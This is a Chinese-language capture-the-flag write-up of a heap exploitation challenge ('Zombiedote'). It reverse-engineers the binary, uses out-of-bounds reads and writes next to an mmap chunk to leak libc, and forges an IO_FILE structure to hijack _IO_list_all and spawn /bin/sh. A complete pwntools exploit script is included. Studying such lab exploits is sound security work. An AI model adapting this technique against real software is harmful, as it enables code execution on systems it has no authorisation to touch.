前言
一个关于堆的稍综合点的简单练习 该题目是 shellcode 的编写练习
今天是第14天,继续努力!
题目情况
Humanity is under siege from a deadly disease spread by zombies. The BioShield Solutions Research Institute is tirelessly working to develop an antidote. Join their mission and become a hero in the fight to save humanity.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
SHSTK: Enabled
IBT: Enabled
Stripped: No
逆向分析
[1] Create log
[2] Insert into log
[3] Delete log
[4] Edit log
[5] Inspect log
>> $
程序里用了一个结构体,分析出来长这样:
00000000 stru struc ; (sizeof=0x1C, mappedto_18)
00000000 size dd ? ; XREF: main+25/w
00000004 field_4 dd ?
00000008 ptr dq ? ; XREF: main+2D/w
00000010 insert_time dd ?
00000014 edit_time dd ?
00000018 inspect_time dd ?
0000001C stru ends
选项1:
int __fastcall create(stru *a1)
{
if ( a1->ptr )
return error((__int64)"A log has already been created.");
printf("\nNumber of samples: ");
__isoc99_scanf("%lu", a1);
a1->ptr = (__int64)malloc(8LL * *(_QWORD *)&a1->size);
if ( !a1->ptr )
{
error((__int64)"Failed to allocate memory for the log.");
exit(1312);
}
return success((__int64)"Created a log.");
}
可以申请内存,但是只能申请一次,大小随意指定
选项2:
unsigned __int64 __fastcall insert(stru *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-18h] BYREF
unsigned __int64 i; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( a1->ptr )
{
if ( a1->insert_time ) // 只有1次机会
{
error((__int64)"Already inserted into log.");// 触发IO流
}
else
{
printf("\nNumber of samples tested: ");
__isoc99_scanf("%lu", &v2); // 输入大小
if ( *(_QWORD *)&a1->size < v2 ) // 大小不能超过原先申请的大小
{
error((__int64)"Invalid input.");
exit(1312);
}
for ( i = 0LL; i < v2; ++i )
{
printf("\nVirus concentration level in sample #%ld (%%): ", i);
__isoc99_scanf("%lf", 8 * i + a1->ptr); // 写入
puts("Value entered.");
}
success((__int64)"Data inserted.");
a1->insert_time = 1;
}
}
else
{
error((__int64)"No log to insert into.");
}
return __readfsqword(0x28u) ^ v4;
}
可以写入一次数据,不过是以浮点数形式输入,大小不能超过chunk申请的大小
选项3:
void __noreturn delete()
{
error((__int64)"Operation not implemented yet. Exiting...");
exit(1312);
}
这里会造成error:
int __fastcall error(__int64 a1)
{
printf("\x1B[1;31m");
printf("\n[-] ");
dprint(a1);
puts("\n");
return printf("\x1B[1;97m");
}
__int64 __fastcall dprint(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = *(unsigned __int8 *)(i + a1);
if ( !(_BYTE)result )
break;
putchar(*(char *)(i + a1));
fflush(stdout); // 触发IO流
usleep(0x3A98u);
}
return result;
}
最终会从fflush触发io流
选项4:
unsigned __int64 __fastcall edit(stru *a1)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( a1->ptr )
{
if ( a1->edit_time <= 1 ) // 2次写数据到内存
{
v2 = 0LL;
printf("\nEnter sample number: ");
__isoc99_scanf("%lu", &v2);
printf("\nVirus concentration level in sample #%ld (%%): ", v2);
__isoc99_scanf("%lf", 8 * v2 + a1->ptr); // 在指定偏移处读取数据,%lf格式化,只能修改8字节
++a1->edit_time;
success((__int64)"Log edited.");
}
else
{
error((__int64)"Maximum number of edits has been reached.");
}
}
else
{
error((__int64)"No log to edit.");
}
return __readfsqword(0x28u) ^ v3;
}
提供了一次越界写8字节的效果
选项5:
unsigned __int64 __fastcall inspect(stru *a1)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( a1->ptr )
{
if ( a1->inspect_time ) // 只有1次机会
{
error((__int64)"The log has already been inspected.");
}
else
{
v2 = 0LL;
printf("\nEnter sample number to inspect: ");
__isoc99_scanf("%lu", &v2);
printf("\nVirus concentration level in sample #%ld (%%): %.16g\n", v2, *(double *)(8 * v2 + a1->ptr));// 打印偏移数据
a1->inspect_time = 1;
success((__int64)"Log inspected.");
}
}
else
{
error((__int64)"No log to inspect.");
}
return __readfsqword(0x28u) ^ v3;
}
提供了一次越界读取8字节的功能
利用分析
程序提供了1次越界写,1次越界读,无其他漏洞,只能申请1次内存不能释放,可以写入数据无溢出
当我们申请内存大小超过mp_.mmap_threshold的时候,申请的chunk会位于紧挨着libc的地方,从这里进行越界读可以读取到libc中的地址,越界写可以写IO指针,fflush可以触发IO流
leak libc address
# leak libc address
add(0x22000)
"""
pwndbg> distance 0x00007fc1e9faf000 $3
0x7fc1e9faf000->0x7fc1ea1ee660 is 0x23f660 bytes (0x47ecc words)
pwndbg> p/x 0x23f660/8
$4 = 0x47ecc
"""
inspect(0x47ecc-2)
ru(b"Virus concentration level in sample #294602 (%): ")
leak = rl()[:-1]
leak = p64_float(float(leak.decode()))
leak = u64(leak)
success(f"leak: {hex(leak)}")
libc.address = leak - libc.sym._IO_list_all - 0x20
success(f"libc.address: {hex(libc.address)}")
申请出来的chunk位于:
pwndbg> vmmap 0x0007f7e01062010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x55b68f275000 0x55b68f296000 rw-p 21000 0 [heap]
► 0x7f7e01062000 0x7f7e01088000 rw-p 26000 0 [anon_7f7e01062] +0x10
0x7f7e01088000 0x7f7e010b4000 r--p 2c000 0 /mnt/d/Misc/CTF/CTF-练习/HTB_pwn/Zombiedote/challenge/glibc/libc.so.6
紧挨着libc,泄露处libc地址相当于也有heap地址了
这里用_IO_list_all指针泄露地址,等会改也是改这里
house of kiwi & house of obstack
house of kiwi提供了触发思路,通过fflush来触发IO流,配合house of obstack的打法,伪造IO结构直接,改写_IO_list_all指针,直接触发即可:
# forge IO structure
fp = heapbase + 0x10
io_payload = pack(0)*3 + pack(1) + pack(0) + pack(1) + pack(0) +pack(libc.sym.system)+b"/bin/sh\x00"
io_payload += pack(fp+0x40) + pack(1) +pack(0)*16 +pack(libc.sym._IO_file_jumps - 0x240+0x20) + pack(fp)
data_len = len(io_payload)
dic = []
for i in range(data_len):
f = u64_float(io_payload[i*8:i*8+8])
dic.append(str(f).encode())
insert(data_len, dic)
# edit the IO pointer
edit(0x47ecc-2,u64_float(pack(fp)))
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b">> "):
sla(prompt, i)
def add(sz:int):
cmd('1')
sla(b"Number of samples: ",str(sz//8).encode())
#......
def insert(sz:int,dic:list):
cmd('2')
sla(b"Number of samples tested: ",str(sz//8).encode())
for i in range(sz//8):
sla(b"Virus concentration level in sample ",dic[i])
#......
def delete():
cmd('3')
#......
def edit(idx:int,ctx):
cmd('4')
sla(b"Enter sample number: ",str(idx).encode())
sla(b": ",str(ctx).encode())
#......
def inspect(idx:int):
cmd('5')
sla(b"Enter sample number to inspect: ",str(idx).encode())
#......
# leak libc address
add(0x22000)
inspect(0x47ecc-2)
ru(b"Virus concentration level in sample #294602 (%): ")
leak = rl()[:-1]
leak = p64_float(float(leak.decode()))
leak = u64(leak)
success(f"leak: {hex(leak)}")
libc.address = leak - libc.sym._IO_list_all - 0x20
success(f"libc.address: {hex(libc.address)}")
pause()
# calc chunk address
heapbase = libc.address - 0x26000
success(f"heapbase: {hex(heapbase)}")
# forge IO structure
fp = heapbase + 0x10
io_payload = pack(0)*3 + pack(1) + pack(0) + pack(1) + pack(0) +pack(libc.sym.system)+b"/bin/sh\x00"
io_payload += pack(fp+0x40) + pack(1) +pack(0)*16 +pack(libc.sym._IO_file_jumps - 0x240+0x20) + pack(fp)
data_len = len(io_payload)
dic = []
for i in range(data_len):
f = u64_float(io_payload[i*8:i*8+8])
dic.append(str(f).encode())
insert(data_len, dic)
# edit the IO pointer
edit(0x47ecc-2,u64_float(pack(fp)))
ia()
总结
堆利用,IO_FILE题
关键点是:申请超过mp_.mmap_threshold的内存拿到紧挨着libc的chunk来利用OOB